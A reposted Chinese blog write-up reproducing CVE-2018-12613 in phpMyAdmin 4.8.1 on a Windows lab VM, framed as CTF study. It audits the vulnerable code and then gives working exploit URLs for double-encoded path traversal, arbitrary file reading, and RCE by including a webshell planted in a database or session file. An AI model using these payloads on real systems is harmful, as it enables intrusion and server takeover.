欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

程序员文章站 2022-03-24 10:46:06
...

起序:在做 Web 题遇到的,复现一下。

一、靶场环境

  • VMware Workstation 15.5 Pro
  • cn_windows_7_ultimate_with_sp1_x64_dvd_u_677408.iso
  • phpStudy 2018
  • phpMyAdmin-4.8.1-all-languages

二、漏洞分析

1、本地文件包含

LFI(本地文件包含),是指当服务器开启 allow_url_include 选项时,就可以通过php的某些特性函数 include(),require()和include_once(),require_once() 利用 url 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。

2、远程代码执行

RCE(远程代码执行),远程命令执行漏洞,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许攻击者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码。

3、源码审计

1、index.php

文件路径:phpMyAdmin-4.8.1-all-languages/index.php

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

想要实现 本地文件包含,必须满足 if() 内中的五个条件:

  • target 参数不能为空;
  • target 参数为字符串;
  • target 参数值不以 index 开头;
  • target 参数值不在 $target_blacklist 黑名单中;
  • checkPageValidity() 函数的检查,函数在下面 Core.php 文件中。

2、Core.php

文件路径:phpMyAdmin-4.8.1-all-languages/libraries/classes/Core.php

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

可以看到 Core 类的 checkPageValidity() 函数中又必须经过以下的五个判断:

  1. $whitelist 为空就引用申明的 $goto_whitelist
  2. $page 如果没有定义或者 $page 不为字符串就返回 false
  3. $page 如果存在在 $whitelist 中返回 true
  4. 如果 $_page 存在在 $whitelist 中返回 true
  5. 经过 urldecode 函数解码后的 $_page 存在在 $whitelist 中返回 true

我们可以看到在 index.php 调用 checkPageValidity 函数时没有传入其他参数,因此会进入第一个判断,而 $goto_whitelist 如下所示:它定义了很多可以被包含的文件名。

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

然后第二个判断可以跳过;

看第三个判断,可以看到 $page 参数是不在 $whitelist 中的,此处不满足;

看第四个判断,这个判断是对 $_page进行的,校验 $_page 是否在白名单中,而 $_page 是将 $page 值末尾加上 ? 后从字符串第0位开始分割,取其中第一次出现 ? 之前的内容。

  • 如下图所示:target=sql.ph%3fp 时:
http://192.168.1.126/phpMyAdmin/index.php?target=sql.ph%3fp

我复现的时候,没有显示出来。是不是因为这个版本是 4.8.1 版本?先留一下。

4、影响版本

  • phpMyAdmin-4.8.0
  • phpMyAdmin-4.8.0.1
  • phpMyAdmin-4.8.1

三、漏洞利用

1、任意文件包含

1、system.ini

查看一下 C:\Windows\system.ini 内容:

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

2、访问

因为本次 复现 CVE-2018-12613 使用的 Windows 系统,所以需要查看 phpStudy 的安装目录。可以看出安装的目录是 E:\phpStudy\ 目录下。

show variables like '%datadir%';

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

这个漏洞是 本地文件包含,是针对所有的文件,所以可以说是 任意本地文件包含。是通过目录穿越包含任意文件。

  • 分析下面的 url,已得知 phpStudy 安装在 E:\ 盘下
    • target=db_sql.phpdb_sql.php 是和 index.php 同目录下的文件
    • %253f两次 url 编码,第一次解码为 %3f,第二次解码为 ?(%253f → %3f → ?),这便符合了?前内容在白名单的要求
    • /../../../../../../phpMyAdmin 是在 E:\phpStudy\PHPTutorial\WWW\ 目录下,这一点是在安装的时候就确定的

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

http://192.168.1.126/phpMyAdmin/index.php?target=db_sql.php%253f/../../../../../../Windows/system.ini

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞


2、任意代码执行

1、利用数据库创建 shell

1、创建表和字段

这是参考 ChaMd5安全团队 这篇文章。

  • WebShell写入到数据库中然后包含数据库文件?

本地测试了一下,发现如果把 WebShell 当做数据表的字段值是可以完美的写入到数据库文件当中的:

test 库 中新建一个表,我这命名为 shell,让一句话木马为字段。

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

保存

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

2、查询生成文件的绝对路径

这个在 任意文件包含 中已经使用过了。

show variables like '%datadir%';

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

可知生成文件的据对路径为 E:\phpStudy\PHPTutorial\MySQL\data\数据库名\表名.frm

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

3、本地包含生成文件

可以看出 远程代码执行(RCE) 成功。

路径可以参考我上面画的图片,这里就不再画了。

# s 是一句话木马中的密码
http://192.168.1.126/phpMyAdmin/index.php?s=phpinfo();&target=db_sql.php%253f/../../../MySQL/data/test/shell.frm

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

2、利用 session

1、利用 session 文件创建 shell

执行 sql 语句

select "一句话木马"

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

2、查看生成的 session 文件

浏览器生成的 session:pckua0oj8ds92uk3tns929bm941tm5mk

session 文件的绝对路径:E:\phpStudy\PHPTutorial\tmp\tmp

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞

3、本地包含生成文件

可以看出 远程代码执行(RCE) 成功。

路径可以参考我上面画的图片,这里就不再画了。

# s 是一句话木马中的密码
http://192.168.1.126/phpMyAdmin/index.php?s=phpinfo();&target=db_sql.php%253f/../../../tmp/tmp/sess_pckua0oj8ds92uk3tns929bm941tm5mk

注:在使用 session 文件 时,需要在 session 前面加上 sess_

【CVE】CVE-2018-12613:windows 复现 phpMyAdmin 本地文件包含造成远程代码执行漏洞
如果对您有帮助,点个赞再走吧。

相关标签: CVE